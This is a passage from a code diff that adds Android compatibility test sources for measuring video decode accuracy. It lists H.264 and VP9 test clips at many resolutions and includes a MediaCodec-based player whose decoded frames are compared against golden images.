+        "video_decode_accuracy_and_capability-vp9_256x108_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_256x144_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_192x144_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_82x144_30fps.webm",
+        // 240p
+        "video_decode_accuracy_and_capability-h264_426x182_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_426x240_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_320x240_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_136x240_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_426x182_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_426x240_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_320x240_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_136x240_30fps.webm",
+        // 360p
+        "video_decode_accuracy_and_capability-h264_640x272_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_640x360_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_480x360_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_202x360_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_640x272_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_640x360_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_480x360_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_202x360_30fps.webm",
+        // 480p
+        "video_decode_accuracy_and_capability-h264_854x362_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_854x480_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_640x480_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_270x480_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_854x362_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_854x480_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_640x480_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_270x480_30fps.webm",
+        // 720p
+        "video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_960x720_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_406x720_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_960x720_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_406x720_30fps.webm",
+        // 1080p
+        "video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm",
+        // 1440p
+        "video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm",
+        // 2160p
+        "video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4",
+        "video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm",
+        "video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm",
+        // cropped
+        "video_decode_with_cropping-h264_520x360_30fps.mp4",
+        "video_decode_with_cropping-vp9_520x360_30fps.webm"
+    };
+
+    private static final String INP_PREFIX = WorkDir.getMediaDirString() +
+            "assets/decode_accuracy/";
+
+    private View videoView;
+    private VideoViewFactory videoViewFactory;
+    private String testName;
+    private String fileName;
+    private String decoderName;
+    private String methodName;
+    private SimplePlayer player;
+
+    public DecodeAccuracyTest(String decoderName, String fileName, String testName) {
+        this.testName = testName;
+        this.fileName = fileName;
+        this.decoderName = decoderName;
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        if (player != null) {
+            player.release();
+        }
+        if (videoView != null) {
+            getHelper().cleanUpView(videoView);
+        }
+        if (videoViewFactory != null) {
+            videoViewFactory.release();
+        }
+        super.tearDown();
+    }
+
+    @Parameters(name = "{index}({0}_{2})")
+    public static Collection<Object[]> input() throws IOException {
+        final List<Object[]> testParams = new ArrayList<>();
+        for (String file : VIDEO_FILES) {
+            Pattern regex = Pattern.compile("^\\w+-(\\w+)_\\d+fps\\.\\w+");
+            Matcher matcher = regex.matcher(file);
+            String testName = "";
+            if (matcher.matches()) {
+                testName = matcher.group(1);
+            }
+            MediaFormat mediaFormat =
+                    MediaUtils.getTrackFormatForResource(INP_PREFIX + file, "video");
+            String mediaType = mediaFormat.getString(MediaFormat.KEY_MIME);
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] componentNames = MediaUtils.getDecoderNamesForMime(mediaType);
+            for (String componentName : componentNames) {
+                if (TestArgs.shouldSkipCodec(componentName)) {
+                    continue;
+                }
+                if (MediaUtils.supports(componentName, mediaFormat)) {
+                    testParams.add(new Object[] {componentName, file, testName});
+                    // Test only the first decoder that supports given format.
+                    // Remove the following break statement to test all decoders on the device.
+                    break;
+                }
+            }
+        }
+        return testParams;
+    }
+
+    @Test(timeout = PER_TEST_TIMEOUT_MS)
+    public void testGLViewDecodeAccuracy() throws Exception {
+        this.methodName = "testGLViewDecodeAccuracy";
+        runTest(new GLSurfaceViewFactory(), new VideoFormat(fileName), decoderName);
+    }
+
+    @Test(timeout = PER_TEST_TIMEOUT_MS)
+    public void testGLViewLargerHeightDecodeAccuracy() throws Exception {
+        this.methodName = "testGLViewLargerHeightDecodeAccuracy";
+        runTest(new GLSurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)),
+            decoderName);
+    }
+
+    @Test(timeout = PER_TEST_TIMEOUT_MS)
+    public void testGLViewLargerWidthDecodeAccuracy() throws Exception {
+        this.methodName = "testGLViewLargerWidthDecodeAccuracy";
+        runTest(new GLSurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)),
+            decoderName);
+    }
+
+    @Test(timeout = PER_TEST_TIMEOUT_MS)
+    public void testSurfaceViewVideoDecodeAccuracy() throws Exception {
+        this.methodName = "testSurfaceViewVideoDecodeAccuracy";
+        runTest(new SurfaceViewFactory(), new VideoFormat(fileName), decoderName);
+    }
+
+    @Test(timeout = PER_TEST_TIMEOUT_MS)
+    public void testSurfaceViewLargerHeightDecodeAccuracy() throws Exception {
+        this.methodName = "testSurfaceViewLargerHeightDecodeAccuracy";
+        runTest(new SurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)),
+            decoderName);
+    }
+
+    @Test(timeout = PER_TEST_TIMEOUT_MS)
+    public void testSurfaceViewLargerWidthDecodeAccuracy() throws Exception {
+        this.methodName = "testSurfaceViewLargerWidthDecodeAccuracy";
+        runTest(new SurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)),
+            decoderName);
+    }
+
+    private void runTest(VideoViewFactory videoViewFactory, VideoFormat vf, String decoderName) {
+        Log.i(TAG, "Running test for " + vf.toPrettyString());
+        if (!MediaUtils.canDecodeVideo(vf.getMimeType(), vf.getWidth(), vf.getHeight(), 30)) {
+            MediaUtils.skipTest(TAG, "No supported codec is found.");
+            return;
+        }
+        this.videoViewFactory = checkNotNull(videoViewFactory);
+        this.videoView = videoViewFactory.createView(getHelper().getContext());
+        final int maxRetries = 3;
+        for (int retry = 1; retry <= maxRetries; retry++) {
+            // If view is intended and available to display.
+            if (videoView != null) {
+                getHelper().generateView(videoView);
+            }
+            try {
+                videoViewFactory.waitForViewIsAvailable();
+                break;
+            } catch (Exception exception) {
+                Log.e(TAG, exception.getMessage());
+                if (retry == maxRetries) {
+                    fail("Timeout waiting for a valid surface.");
+                } else {
+                    Log.w(TAG, "Try again...");
+                    bringActivityToFront();
+                }
+            }
+        }
+        final int golden = getGoldenId(vf.getDescription(), vf.getOriginalSize());
+        assertTrue("No golden found.", golden != 0);
+        decodeVideo(vf, videoViewFactory, decoderName);
+        validateResult(vf, videoViewFactory.getVideoViewSnapshot(), golden);
+    }
+
+    private void decodeVideo(VideoFormat videoFormat, VideoViewFactory videoViewFactory,
+            String decoderName) {
+        this.player = new SimplePlayer(getHelper().getContext(), decoderName);
+        final SimplePlayer.PlayerResult playerResult = player.decodeVideoFrames(
+                videoViewFactory.getSurface(), videoFormat, 10);
+        assertTrue(playerResult.getFailureMessage(), playerResult.isSuccess());
+    }
+
+    private void validateResult(
+            VideoFormat videoFormat, VideoViewSnapshot videoViewSnapshot, int goldenId) {
+        final Bitmap result = checkNotNull("The expected bitmap from snapshot is null",
+                getHelper().generateBitmapFromVideoViewSnapshot(videoViewSnapshot));
+        final Bitmap golden = getHelper().generateBitmapFromImageResourceId(goldenId);
+        final BitmapCompare.Difference difference = BitmapCompare.computeMinimumDifference(
+                result, golden, videoFormat.getOriginalWidth(), videoFormat.getOriginalHeight());
+
+        if (difference.greatestPixelDifference > ALLOWED_GREATEST_PIXEL_DIFFERENCE) {
+            /* save failing file */
+            File failed = new File(Environment.getExternalStorageDirectory(),
+                                   "failed_" + methodName + "_" + testName + ".png");
+            try (FileOutputStream fileStream = new FileOutputStream(failed)) {
+                result.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
+                fileStream.flush();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            Log.d(TAG, testName + " saved " + failed.getAbsolutePath());
+        }
+
+        assertTrue("With the best matched border crop ("
+                + difference.bestMatchBorderCrop.first + ", "
+                + difference.bestMatchBorderCrop.second + "), "
+                + "greatest pixel difference is "
+                + difference.greatestPixelDifference
+                + (difference.greatestPixelDifferenceCoordinates != null
+                        ? " at (" + difference.greatestPixelDifferenceCoordinates.first + ", "
+                            + difference.greatestPixelDifferenceCoordinates.second + ")" : "")
+                + " which is over the allowed difference " + ALLOWED_GREATEST_PIXEL_DIFFERENCE,
+                difference.greatestPixelDifference <= ALLOWED_GREATEST_PIXEL_DIFFERENCE);
+    }
+
+    private static VideoFormat getLargerHeightVideoFormat(VideoFormat videoFormat) {
+        return new VideoFormat(videoFormat) {
+            @Override
+            public int getHeight() {
+                return super.getHeight() + OFFSET;
+            }
+
+            @Override
+            public boolean isAbrEnabled() {
+                return true;
+            }
+        };
+    }
+
+    private static VideoFormat getLargerWidthVideoFormat(VideoFormat videoFormat) {
+        return new VideoFormat(videoFormat) {
+            @Override
+            public int getWidth() {
+                return super.getWidth() + OFFSET;
+            }
+
+            @Override
+            public boolean isAbrEnabled() {
+                return true;
+            }
+        };
+    }
+
+    /**
+     * Returns the resource id by matching parts of the video and golden file name.
+     */
+    private static int getGoldenId(String description, String size) {
+        for (Field field : fields) {
+            try {
+                final String name = field.getName();
+                if (name.contains("golden") && name.contains(description) && name.contains(size)) {
+                    int id = field.getInt(null);
+                    return field.getInt(null);
+                }
+            } catch (IllegalAccessException | NullPointerException e) {
+                // No file found.
+            }
+        }
+        return 0;
+    }
+
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestActivity.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestActivity.java
new file mode 100644
index 0000000..e837cfa
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.decoder.cts;
+
+import android.media.decoder.cts.R;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class DecodeAccuracyTestActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.test_runner_activity);
+    }
+
+    @Override
+    protected void onResume() {
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        super.onResume();
+    }
+
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
new file mode 100644
index 0000000..b97c903
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
@@ -0,0 +1,2105 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.annotation.SuppressLint;
+import android.annotation.TargetApi;
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ActivityInfo;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.SurfaceTexture;
+import android.media.decoder.cts.R;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.opengl.EGL14;
+import android.opengl.GLES11Ext;
+import android.opengl.GLES20;
+import android.opengl.GLSurfaceView;
+import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Pair;
+import android.view.PixelCopy;
+import android.view.PixelCopy.OnPixelCopyFinishedListener;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.TextureView;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.RelativeLayout;
+
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.FileNotFoundException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.util.HashMap;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.CountDownLatch;
+
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+import javax.microedition.khronos.egl.EGLSurface;
+
+@TargetApi(16)
+public class DecodeAccuracyTestBase {
+
+    protected Context mContext;
+    protected Resources mResources;
+    protected DecodeAccuracyTestActivity mActivity;
+    protected TestHelper testHelper;
+
+    @Rule
+    public ActivityTestRule<DecodeAccuracyTestActivity> mActivityRule =
+            new ActivityTestRule<>(DecodeAccuracyTestActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        mActivity = mActivityRule.getActivity();
+        mContext = mActivity.getApplicationContext();
+        mResources = mActivity.getResources();
+        testHelper = new TestHelper(mContext, mActivity);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mActivity = null;
+        mResources = null;
+        mContext = null;
+        mActivityRule = null;
+    }
+
+    protected void bringActivityToFront() {
+        Intent intent = new Intent(mContext, DecodeAccuracyTestActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+        mActivity.startActivity(intent);
+    }
+
+    protected TestHelper getHelper() {
+        return testHelper;
+    }
+
+    public static <T> T checkNotNull(T reference) {
+        assertNotNull(reference);
+        return reference;
+    }
+
+    public static <T> T checkNotNull(String msg, T reference) {
+        assertNotNull(msg, reference);
+        return reference;
+    }
+
+    /* Simple Player that decodes a local video file only. */
+    @TargetApi(16)
+    static class SimplePlayer {
+
+        public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 5; // 5 FPS
+        public static final long STARTUP_ALLOW_MS = TimeUnit.SECONDS.toMillis(1) ;
+        public static final int END_OF_STREAM = -1;
+        public static final int DEQUEUE_SUCCESS = 1;
+        public static final int DEQUEUE_FAIL = 0;
+
+        private static final String TAG = SimplePlayer.class.getSimpleName();
+        private static final int NO_TRACK_INDEX = -3;
+        private static final long DEQUEUE_TIMEOUT_US = 20;
+
+        private final Context context;
+        private final MediaExtractor extractor;
+        private final String codecName;
+        private MediaCodec decoder;
+        private byte[] outputBytes;
+        private boolean renderToSurface;
+        private MediaCodecList mediaCodecList;
+        private Surface surface;
+
+        public SimplePlayer(Context context) {
+            this(context, null);
+        }
+
+        public SimplePlayer(Context context, String codecName) {
+            this.context = checkNotNull(context);
+            this.codecName = codecName;
+            this.extractor = new MediaExtractor();
+            this.renderToSurface = false;
+            this.surface = null;
+        }
+
+        /**
+         * The function play the corresponding file for certain number of frames.
+         *
+         * @param surface is the surface view of decoder output.
+         * @param videoFormat is the format of the video to extract and decode.
+         * @param numOfTotalFrames is the number of Frame wish to play.
+         * @param msPerFrameCap is the maximum msec per frame. No cap is set if value is less than 1.
+         * @return {@link PlayerResult} that consists the result.
+         */
+        public PlayerResult decodeVideoFrames(
+                Surface surface, VideoFormat videoFormat, int numOfTotalFrames, long msPerFrameCap,
+                boolean releasePlayer) {
+            this.surface = surface;
+            PlayerResult playerResult;
+            if (prepareVideoDecode(videoFormat)) {
+                if (startDecoder()) {
+                    final long timeout =
+                            Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames + STARTUP_ALLOW_MS;
+                    playerResult = decodeFramesAndPlay(numOfTotalFrames, timeout, msPerFrameCap);
+                } else {
+                    playerResult = PlayerResult.failToStart();
+                }
+            } else {
+                playerResult = new PlayerResult();
+            }
+            if (releasePlayer) {
+                release();
+            }
+            return new PlayerResult(playerResult);
+        }
+
+        public PlayerResult decodeVideoFrames(
+                Surface surface, VideoFormat videoFormat, int numOfTotalFrames) {
+            return decodeVideoFrames(surface, videoFormat, numOfTotalFrames, 0, false);
+        }
+
+        /**
+         * The function sets up the extractor and video decoder with proper format.
+         * This must be called before doing starting up the decoder.
+         */
+        private boolean prepareVideoDecode(VideoFormat videoFormat) {
+            MediaFormat mediaFormat = prepareExtractor(videoFormat);
+            if (mediaFormat == null) {
+                return false;
+            }
+            configureVideoFormat(mediaFormat, videoFormat);
+            setRenderToSurface(surface != null);
+            return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
+        }
+
+        /**
+         * Sets up the extractor and gets the {@link MediaFormat} of the track.
+         */
+        private MediaFormat prepareExtractor(VideoFormat videoFormat) {
+            if (!setExtractorDataSource(videoFormat)) {
+                return null;
+            }
+            final int trackNum = getFirstTrackIndexByType(videoFormat.getMediaFormat());
+            if (trackNum == NO_TRACK_INDEX) {
+                return null;
+            }
+            extractor.selectTrack(trackNum);
+            return extractor.getTrackFormat(trackNum);
+        }
+
+        /**
+         * The function decode video frames and display in a surface.
+         *
+         * @param numOfTotalFrames is the number of frames to be decoded.
+         * @param timeOutMs is the time limit for decoding the frames.
+         * @param msPerFrameCap is the maximum msec per frame. No cap is set if value is less than 1.
+         * @return {@link PlayerResult} that consists the result.
+         */
+        private PlayerResult decodeFramesAndPlay(
+                int numOfTotalFrames, long timeOutMs, long msPerFrameCap) {
+            int numOfDecodedFrames = 0;
+            long firstOutputTimeMs = 0;
+            long lastFrameAt = 0;
+            final long loopStart = SystemClock.elapsedRealtime();
+
+            while (numOfDecodedFrames < numOfTotalFrames
+                    && (SystemClock.elapsedRealtime() - loopStart < timeOutMs)) {
+                try {
+                    queueDecoderInputBuffer();
+                } catch (IllegalStateException exception) {
+                    Log.e(TAG, "IllegalStateException in queueDecoderInputBuffer", exception);
+                    break;
+                }
+                try {
+                    final int outputResult = dequeueDecoderOutputBuffer();
+                    if (outputResult == SimplePlayer.END_OF_STREAM) {
+                        break;
+                    }
+                    if (outputResult == SimplePlayer.DEQUEUE_SUCCESS) {
+                        if (firstOutputTimeMs == 0) {
+                            firstOutputTimeMs = SystemClock.elapsedRealtime();
+                        }
+                        if (msPerFrameCap > 0) {
+                            // Slow down if cap is set and not reached.
+                            final long delayMs =
+                                    msPerFrameCap - (SystemClock.elapsedRealtime() - lastFrameAt);
+                            if (lastFrameAt != 0 && delayMs > 0) {
+                                final long threadDelayMs = 3; // In case of delay in thread.
+                                if (delayMs > threadDelayMs) {
+                                    try {
+                                        Thread.sleep(delayMs - threadDelayMs);
+                                    } catch (InterruptedException ex) { /* */}
+                                }
+                                while (SystemClock.elapsedRealtime() - lastFrameAt
+                                        < msPerFrameCap) { /* */ }
+                            }
+                            lastFrameAt = SystemClock.elapsedRealtime();
+                        }
+                        numOfDecodedFrames++;
+                    }
+                } catch (IllegalStateException exception) {
+                    Log.e(TAG, "IllegalStateException in dequeueDecoderOutputBuffer", exception);
+                }
+            }
+            // NB: totalTime measures from "first output" instead of
+            // "first INPUT", so does not include first frame latency
+            // and therefore does not tell us if the timeout expired
+            final long totalTime = SystemClock.elapsedRealtime() - firstOutputTimeMs;
+            return new PlayerResult(true, true, numOfTotalFrames == numOfDecodedFrames, totalTime);
+        }
+
+        /**
+         * Queues the input buffer with the media file one buffer at a time.
+         *
+         * @return true if success, fail otherwise.
+         */
+        private boolean queueDecoderInputBuffer() {
+            ByteBuffer inputBuffer;
+            final ByteBuffer[] inputBufferArray = decoder.getInputBuffers();
+            final int inputBufferIndex = decoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
+            if (inputBufferIndex >= 0) {
+                if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP)) {
+                    inputBuffer = inputBufferArray[inputBufferIndex];
+                } else {
+                    inputBuffer = decoder.getInputBuffer(inputBufferIndex);
+                }
+                final int sampleSize = extractor.readSampleData(inputBuffer, 0);
+                if (sampleSize > 0) {
+                    decoder.queueInputBuffer(
+                            inputBufferIndex, 0, sampleSize, extractor.getSampleTime(), 0);
+                    extractor.advance();
+                }
+                return true;
+            }
+            return false;
+        }
+
+        /**
+         * Dequeues the output buffer.
+         * For video decoder, renders to surface if provided.
+         * For audio decoder, gets the bytes from the output buffer.
+         *
+         * @return an integer indicating its status (fail, success, or end of stream).
+         */
+        private int dequeueDecoderOutputBuffer() {
+            final BufferInfo info = new BufferInfo();
+            final int decoderStatus = decoder.dequeueOutputBuffer(info, DEQUEUE_TIMEOUT_US);
+            if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                return END_OF_STREAM;
+            }
+            if (decoderStatus >= 0) {
+                // For JELLY_BEAN_MR2- devices, when rendering to a surface,
+                // info.size seems to always return 0 even if
+                // the decoder successfully decoded the frame.
+                if (info.size <= 0 && ApiLevelUtil.isAtLeast(Build.VERSION_CODES.JELLY_BEAN_MR2)) {
+                    return DEQUEUE_FAIL;
+                }
+                if (!renderToSurface) {
+                    ByteBuffer outputBuffer;
+                    if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP)) {
+                        outputBuffer = decoder.getOutputBuffers()[decoderStatus];
+                    } else {
+                        outputBuffer = decoder.getOutputBuffer(decoderStatus);
+                    }
+                    outputBytes = new byte[info.size];
+                    outputBuffer.get(outputBytes);
+                    outputBuffer.clear();
+                }
+                decoder.releaseOutputBuffer(decoderStatus, renderToSurface);
+                return DEQUEUE_SUCCESS;
+            }
+            return DEQUEUE_FAIL;
+        }
+
+        public void release() {
+            decoderRelease();
+            extractorRelease();
+        }
+
+        private boolean setExtractorDataSource(VideoFormat videoFormat) {
+            checkNotNull(videoFormat);
+            try {
+                final AssetFileDescriptor afd = videoFormat.getAssetFileDescriptor();
+                extractor.setDataSource(
+                        afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+                afd.close();
+            } catch (IOException exception) {
+                Log.e(TAG, "IOException in setDataSource", exception);
+                return false;
+            }
+            return true;
+        }
+
+        /**
+         * Creates a decoder based on conditions.
+         *
+         * <p>If codec name is provided, {@link MediaCodec#createByCodecName(String)} is used.
+         * If codec name is not provided, {@link MediaCodecList#findDecoderForFormat(MediaFormat)}
+         * is preferred on LOLLIPOP and up for finding out the codec name that
+         * supports the media format.
+         * For OS older than LOLLIPOP, {@link MediaCodec#createDecoderByType(String)} is used.
+         */
+        private boolean createDecoder(MediaFormat mediaFormat) {
+            try {
+                if (codecName != null) {
+                    decoder = MediaCodec.createByCodecName(codecName);
+                } else if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.LOLLIPOP)) {
+                    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.LOLLIPOP) {
+                        // On LOLLIPOP, format must not contain a frame rate.
+                        mediaFormat.setString(MediaFormat.KEY_FRAME_RATE, null);
+                    }
+                    if (mediaCodecList == null) {
+                        mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+                    }
+                    decoder = MediaCodec.createByCodecName(
+                            mediaCodecList.findDecoderForFormat(mediaFormat));
+                } else {
+                    decoder = MediaCodec.createDecoderByType(
+                            mediaFormat.getString(MediaFormat.KEY_MIME));
+                }
+            } catch (Exception exception) {
+                Log.e(TAG, "Exception during decoder creation", exception);
+                decoderRelease();
+                return false;
+            }
+            return true;
+        }
+
+        private boolean configureDecoder(Surface surface, MediaFormat mediaFormat) {
+            try {
+                decoder.configure(mediaFormat, surface, null, 0);
+            } catch (Exception exception) {
+                Log.e(TAG, "Exception during decoder configuration", exception);
+                try {
+                    decoder.reset();
+                } catch (Exception resetException) {
+                    Log.e(TAG, "Exception during decoder reset", resetException);
+                }
+                decoderRelease();
+                return false;
+            }
+            return true;
+        }
+
+        private void setRenderToSurface(boolean render) {
+            this.renderToSurface = render;
+        }
+
+        private boolean startDecoder() {
+            try {
+                decoder.start();
+            } catch (Exception exception) {
+                Log.e(TAG, "Exception during decoder start", exception);
+                decoder.reset();
+                decoderRelease();
+                return false;
+            }
+            return true;
+        }
+
+        private void decoderRelease() {
+            if (decoder == null) {
+                return;
+            }
+            try {
+                decoder.stop();
+            } catch (IllegalStateException exception) {
+                decoder.reset();
+                // IllegalStateException happens when decoder fail to start.
+                Log.e(TAG, "IllegalStateException during decoder stop", exception);
+            } finally {
+                try {
+                    decoder.release();
+                } catch (IllegalStateException exception) {
+                    Log.e(TAG, "IllegalStateException during decoder release", exception);
+                }
+                decoder = null;
+            }
+        }
+
+        private void extractorRelease() {
+            if (extractor == null) {
+                return;
+            }
+            try {
+                extractor.release();
+            } catch (IllegalStateException exception) {
+                Log.e(TAG, "IllegalStateException during extractor release", exception);
+            }
+        }
+
+        private static void configureVideoFormat(MediaFormat mediaFormat, VideoFormat videoFormat) {
+            checkNotNull(mediaFormat);
+            checkNotNull(videoFormat);
+            videoFormat.setMimeType(mediaFormat.getString(MediaFormat.KEY_MIME));
+            videoFormat.setWidth(mediaFormat.getInteger(MediaFormat.KEY_WIDTH));
+            videoFormat.setHeight(mediaFormat.getInteger(MediaFormat.KEY_HEIGHT));
+            mediaFormat.setInteger(MediaFormat.KEY_WIDTH, videoFormat.getWidth());
+            mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, videoFormat.getHeight());
+            if (ApiLevelUtil.isBefore(Build.VERSION_CODES.KITKAT)) {
+                return;
+            }
+            // Set KEY_MAX_WIDTH and KEY_MAX_HEIGHT when isAbrEnabled() is set.
+            if (videoFormat.isAbrEnabled()) {
+                try {
+                    // Check for max resolution supported by the codec.
+                    final MediaCodec decoder = MediaUtils.getDecoder(mediaFormat);
+                    final VideoCapabilities videoCapabilities = MediaUtils.getVideoCapabilities(
+                            decoder.getName(), videoFormat.getMimeType());
+                    decoder.release();
+                    final int maxWidth = videoCapabilities.getSupportedWidths().getUpper();
+                    final int maxHeight =
+                            videoCapabilities.getSupportedHeightsFor(maxWidth).getUpper();
+                    if (maxWidth >= videoFormat.getWidth() && maxHeight >= videoFormat.getHeight()) {
+                        mediaFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, maxWidth);
+                        mediaFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, maxHeight);
+                        return;
+                    }
